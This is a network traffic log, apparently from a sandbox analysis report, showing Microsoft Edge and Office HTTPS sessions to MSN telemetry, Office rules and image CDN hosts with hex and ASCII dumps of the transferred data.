2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-16 22:36:38 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49893	20.125.209.212	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	1175	OUT	GET /c.gif?rnd=1731796596343&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=23e58d4004444221bf7b7f0c48db369b&activityId=23e58d4004444221bf7b7f0c48db369b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
2024-11-16 22:36:38 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731796596343&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=23e58d4004444221bf7b7f0c48db369b&activityId=23e58d4004444221bf7b7f0c48db369b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C0413994AE0643EF83A72DA4CEFB3510&RedC=c.msn.com&MXFR=3A9CD1F63BEE619E376CC4CF3AB960F7 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; domain=.msn.com; expires=Thu, 11-Dec-2025 22:36:38 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 16 Nov 2024 22:36:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223638Z-164f84587bfs5tz9hC1DFW9a3w00000003c000000000q6k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49900	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCI Last-Modified: Wed, 06 Nov 2024 03:55:40 GMT X-Source-Length: 88779 X-Datacenter: eastus X-ActivityId: e4244956-8f9e-460e-a202-f79357285e3f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 88779 Cache-Control: public, max-age=278350 Expires: Wed, 20 Nov 2024 03:55:48 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: b0 09 f5 8e df aa 22 40 99 a5 84 a6 d0 dc d0 e7 40 a9 20 4e 14 00 c7 04 e3 82 46 94 fd 77 a0 c0 12 6d 1d f1 e6 93 81 06 08 82 35 a8 e8 7a ad 38 ab 10 3f 8c d7 18 9f 78 a2 87 31 d7 d1 4c 92 11 62 7d f9 a9 ca 45 90 26 91 62 ef 90 bd a6 3b c8 48 01 37 b0 57 94 4c 36 fc 60 7d 14 9c ce 32 49 3a 92 83 10 db c5 80 8b 13 7f 21 dd 16 55 b8 73 65 96 b5 b0 d0 20 08 9e a7 12 4e 24 a4 e2 4f 58 b0 e0 a6 10 2b d3 0d 3d 52 24 90 01 24 c5 2b 61 d1 52 ca 09 89 12 94 22 42 48 24 df 45 2a e1 68 54 44 2c a9 24 12 9a c9 c2 a3 29 54 b7 04 12 2c 91 57 09 42 22 56 4d 30 4b 4c 8f 7d e8 89 4c 01 89 8b 71 e5 64 5d bd a7 ee 92 1b 16 19 8c 90 d0 06 b2 48 08 50 81 2c 9a 70 83 16 90 d0 60 c1 35 d5 21 d1 52 70 8a 9c b6 99 bc d1 4a 24 25 08 06 9e 53 26 70 ad 11 43 4b 81 22 2c 2f 70 3b a6 Data Ascii: "@@ NFwm5z8?x1Lb}E&b;H7WL6`}2I:!Use N$OX+=R$$+aR"BH$E*hTD,$)T,WB"VM0KL}Lqd]HP,p`5!RpJ$%S&pCK",/p;
2024-11-16 22:36:38 UTC	1570	IN	Data Raw: 96 11 2e d6 30 3d 6a b3 40 69 c1 c2 20 48 a4 f4 9a e8 88 c0 5e 40 11 26 d8 49 be a6 c1 13 26 18 dc 18 13 1c f1 95 47 38 9d 07 14 51 70 06 63 63 6d 24 d5 3c a1 b7 82 a9 a0 93 f1 05 c6 44 46 b3 c2 49 d0 22 0e 1d 9b 71 c5 f0 e8 69 a0 ca 0f 4c 22 09 bc 57 04 48 8f b8 45 0c 63 a8 3f a5 ca 73 67 82 1d 37 cd 3a de 67 d7 aa 30 c1 a6 b6 37 0b 51 1d 06 6c 73 4e 26 b8 f5 3d c8 d9 f0 c0 9d 6a a6 60 19 8b 88 9b cc 70 9e fb 20 67 b6 59 b0 92 30 2b 43 b8 16 8a 56 f5 a2 63 72 2c 46 3e 58 2e 40 fc b8 83 c7 02 8d 23 9d 8f 45 74 74 92 f7 bb 59 33 61 79 e2 6f e8 b5 dc e0 5c 49 20 dc bb a0 d4 f6 60 a1 ae 10 64 90 e2 2d d7 99 36 41 cc 41 20 fb eb 2a 2c 13 3d fb 54 b9 f9 9c 20 7c a8 20 1f da d9 81 6d b8 c4 c2 f3 77 de 6f 51 33 69 c3 8f 05 8a ae 9d dd d6 e5 80 66 46 38 6b 0b 83 Data Ascii: .0=j@i H^@&I&G8Qpccm$<DFI"qiL"WHEc?sg7:g07QlsN&=j`p gY0+CVcr,F>X.@#EttY3ayo\I `d-6AA *,=T \| mwoQ3ifF8k
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: c7 77 6f 55 8c 90 d1 33 13 68 16 93 da 52 ca e0 63 1d 05 ff 00 68 24 e9 55 53 f1 8a 45 3d 65 26 ca a3 14 8e 78 f9 a0 9b 68 ad b8 9c b9 80 e3 03 01 31 0a 80 66 ae 9e 02 3b e5 47 da 4d bb 50 51 74 e0 04 63 72 6c a2 3b 51 44 bc 06 cb 1b 94 68 04 e3 73 8f 34 d9 04 c1 6e 63 06 34 16 ad 47 69 01 04 35 a0 4f ca 08 ed e0 7d 50 c8 15 4e e1 61 1c 50 60 e0 26 d8 40 bc 41 d7 55 3c 02 61 b5 b7 a4 22 00 08 35 b0 b5 23 9f a2 22 6d 06 e3 bf dd fb 14 ab 10 14 dc c0 af 44 13 42 94 4f d1 15 a2 08 9b f1 36 e6 52 8f ec 2a 62 0f 08 4c 0d 55 1c 16 c1 50 a0 05 87 6a 24 34 34 c3 af 48 8b 9e b3 87 99 53 16 17 12 7b 11 13 d9 ea 9c 0b 45 ce 38 76 cd fb 15 42 79 62 f3 d8 80 71 48 33 6d 13 70 13 6b f5 22 3b 2e ad 8c 2f 36 20 44 99 24 0a 5f 18 1c 14 d8 fb ed 28 a9 00 1e 38 7b 89 44 a0 Data Ascii: woU3hRch$USE=e&xh1f;GMPQtcrl;QDhs4nc4Gi5O}PNaP`&@AU<a"5#"mDBO6R*bLUPj$44HS{E8vBybqH3mpk";./6 D$_(8{D
2024-11-16 22:36:38 UTC	16384	IN	Data Raw: b0 0d 20 81 1a e2 ba 0b 43 60 38 10 40 96 cd a3 1b 7d 57 16 e6 e1 87 50 93 72 48 04 db 10 62 dd 54 47 13 9d 79 88 bc e9 e5 87 08 5d 4c 1f 9c 38 06 80 e3 25 a0 03 26 3f 88 19 bb 4c 94 02 f9 20 80 06 51 87 99 99 aa 82 1c 74 36 c6 a1 07 3b c3 98 e8 87 32 45 0d 8c 77 53 cd 53 46 73 77 65 b1 b9 04 cf 4f 8e 27 ad 95 65 05 df 22 79 56 38 2b 0c 0f 3f 0b 74 27 e5 6c 6c 23 82 c8 98 20 09 8b 8a 7b 33 29 3a 30 19 6d c8 f5 b9 2b a0 b9 ac 19 61 ae 06 09 b8 0e 23 a3 b0 ee 40 f8 4d 0b 41 3c 63 85 ae 82 03 48 34 95 e8 6d 3d b1 95 c3 2c 83 7b 99 27 a4 7b d5 01 b7 3d 0a 20 db 2e 27 1d 24 80 3b 61 51 6f f8 1a 92 47 41 1d 84 a1 b7 7b 74 ba 5a e7 34 de e1 c4 48 3c 20 ae a6 6c ed 86 99 71 98 11 ea 20 03 5c 24 85 b2 6d de 46 58 a0 ac f3 b7 92 62 80 04 0b 9f 7c d4 ba 4b aa b3 a4 Data Ascii: C`8@}WPrHbTGy]L8%&?L Qt6;2EwSSFsweO'e"yV8+?t'll# {3):0m+a#@MA<cH4m=,{'{= .'$;aQoGA{tZ4H< lq \$mFXb\|K
2024-11-16 22:36:38 UTC	7952	IN	Data Raw: b7 d3 87 b1 c2 ce 6f 22 0a 38 5f 17 9a bd 0a 20 73 ff 00 c8 81 c4 a7 f9 7f 47 f8 ff 00 6f b0 b7 d7 04 17 f8 8d 9d af b9 e3 80 b9 ee 0b e4 9c 5d 11 25 44 98 aa 7f 97 f4 d4 fe af db da df ff 00 b1 71 31 b4 32 88 fb 8f dd ca 0d 97 94 e7 39 c4 92 49 26 a4 dc 94 3a 2d 55 ca f5 6f 97 59 cc 9e 14 bb fc 2f 8a 77 87 91 19 9a 70 98 ee 5e 6e 66 ca 36 70 12 5c 67 a8 fa 06 7f d8 ed 19 ce d7 30 f7 af 4d ae 0e 6c 83 20 d0 af 8a 3b 80 d4 4a e8 db f1 4f da fb 49 6f 4c 3b 8a e9 3f b3 f2 e7 7f af f0 fb 19 13 63 6e d5 42 e0 9a 79 af 9f d8 ff 00 b1 bc 6e c0 9a 3a 23 be 17 b4 d7 07 09 04 10 68 45 17 69 d4 eb c3 95 e6 c1 c5 aa ac 21 c1 18 61 37 18 2b 13 55 a6 54 44 01 04 5e e4 69 c7 04 a0 4e a3 a2 4a a6 d5 e4 82 9d 26 f6 ec 58 50 f9 1f 34 a0 91 85 a3 10 3b 87 e9 66 83 28 08 04 Data Ascii: o"8_ sGo]%Dq129I&:-UoY/wp^nf6p\g0Ml ;JOIoL;?cnByn:#hEi!a7+UTD^iNJ&XP4;f(
2024-11-16 22:36:38 UTC	14240	IN	Data Raw: 6c 22 10 74 87 32 48 79 22 5b fc 69 d0 11 02 06 a8 44 06 12 0f 22 2c 0f 78 a2 13 8d f3 36 d1 79 ea b3 37 0b a4 9b ea 68 3b e2 aa 03 bf 6d cc 82 41 19 86 66 c8 80 46 a2 70 40 78 0e f7 52 af ee 22 48 3d 09 31 ce 2f d8 a7 6d d0 eb 12 23 ee bc e6 1d 2d 6b 5a e8 05 71 31 7a 92 62 fd 69 78 50 e6 45 46 5e 2a c9 68 27 2f da 7d dd 41 06 09 35 eb 3d ea 00 06 cc c8 ec d3 ae 01 50 63 73 c6 18 57 d5 3c 6d 6e 28 a1 f5 16 3a 92 3c a5 00 1f b6 5a 44 cc 11 69 11 6d 44 f9 a1 9d b9 1a ab 37 75 ab ac fe d7 43 0b 5f 94 38 64 86 c4 b6 49 71 c0 99 74 09 c4 8a 68 a0 e1 83 40 20 68 02 ac a1 d1 7a 6b 36 ea bb 03 43 5c 24 34 ff 00 b4 dc 76 21 b8 44 0a 02 6b 08 02 c2 f6 39 a7 6d c5 a4 13 71 d6 de 4a 1c c2 31 b7 67 24 72 c0 d9 23 e6 dc d1 6b 1e ec 10 dc fc 00 b0 a6 a2 55 51 36 c8 24 Data Ascii: l"t2Hy"[iD",x6y7h;mAfFp@xR"H=1/m#-kZq1zbixPEF^*h'/}A5=PcsW<mn(:<ZDimD7uC_8dIqth@ hzk6C\$4v!Dk9mqJ1g$r#kUQ6$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49896	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=366030 Expires: Thu, 21 Nov 2024 04:17:08 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49897	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=181831 Expires: Tue, 19 Nov 2024 01:07:09 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
2024-11-16 22:36:38 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49901	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:38 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:38 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=356042 Expires: Thu, 21 Nov 2024 01:30:40 GMT Date: Sat, 16 Nov 2024 22:36:38 GMT Connection: close
